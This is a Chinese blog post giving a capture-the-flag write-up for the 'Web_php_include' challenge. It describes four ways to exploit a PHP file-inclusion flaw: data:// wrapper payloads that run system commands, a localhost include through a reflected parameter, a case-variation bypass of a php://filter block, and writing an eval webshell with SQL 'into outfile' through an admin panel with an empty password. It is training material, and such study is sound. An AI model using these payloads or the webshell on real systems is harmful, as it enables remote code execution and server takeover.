zoukankan      html  css  js  c++  java
  • 攻防世界(Web_php_include)

    题目叙述

    题目场景如下:

    属于文件包含漏洞

    解决

    方法一

    0x00
    通过代码审计可以知道,存在文件包含漏洞,并且对伪协议php://进行了过滤。
    发现根目录下存在phpinfo
    观察phpinfo发现如下:

    这两个都为on
    所以我们就可以使用data://伪协议
    0x01
    payload如下:

    - ?page=data://text/plain,<?php system("ls")?>
    - ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=    #base64编码
    - ?page=data:text/plain,<?php system("ls")?>
    - ?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=    #base64编码
    

    上面的payload就可以实现命令执行了
    找了半天发现flag在fl4gisisish3r3.php文件中
    使用如下payload就可以获取flag了

    ?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
    

    使用该命令获取的flag被隐藏了,直接在web界面找不到,可以通过查看网页源代码查看

    方法二

    0x00
    代码审计可知,存在文件包含漏洞。
    0x01
    这里我们借助了hello参数
    hello接收到数据直接输出
    所以就可以构造如下payload:

    ?page=http://127.0.0.1/index.php/?hello=<?php system("ls")?>
    

    但是什么都没得到,具体什么情况我也不清楚,继续构造

    ?page=http://127.0.0.1/index.php/?hello=<?system("ls")?>
    

    此处也可以执行命令了
    这次得到了如下结果:

    然后可以用如下

    ?page=http://127.0.0.1/index.php/?hello=<?show_source("fl4gisisish3r3.php");?>
    

    得到flag

    方法三

    0x00
    代码审计,可得存在文件包含漏洞,并且过滤php://伪协议,但是由代码可得我们可以进行绕过。
    0x01
    大小写绕过

    ?page=Php://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php
    


    对得到的结果进行base64解码即可

    方法四

    0x00
    扫描目录
    得到如下结果

    0x01
    进入后台密码为空
    查询是否可以写入shell

    可以写入
    sql执行如下语句

    select "<?php eval(@$_POST['c']); ?>"into outfile '/tmp/shell.php'
    

    连接

    就可以获得shell,然后就可以去获取flag了。

  • 相关阅读:
    Kettle 使用入门
    git mac客户端使用提交与同步
    MAC 远程桌面链接 证书或链接无效
    mac下wifi无法连接的问题
    mysql时间段内查询
    mybatis 特殊符号及like的使用
    mac下剪切文件或文件夹
    eclipse下使用git下载和上传项目
    unbutu下搭建FTP服务
    mybatis 的if else
  • 原文地址:https://www.cnblogs.com/Wuser/p/12526249.html
Copyright © 2011-2022 走看看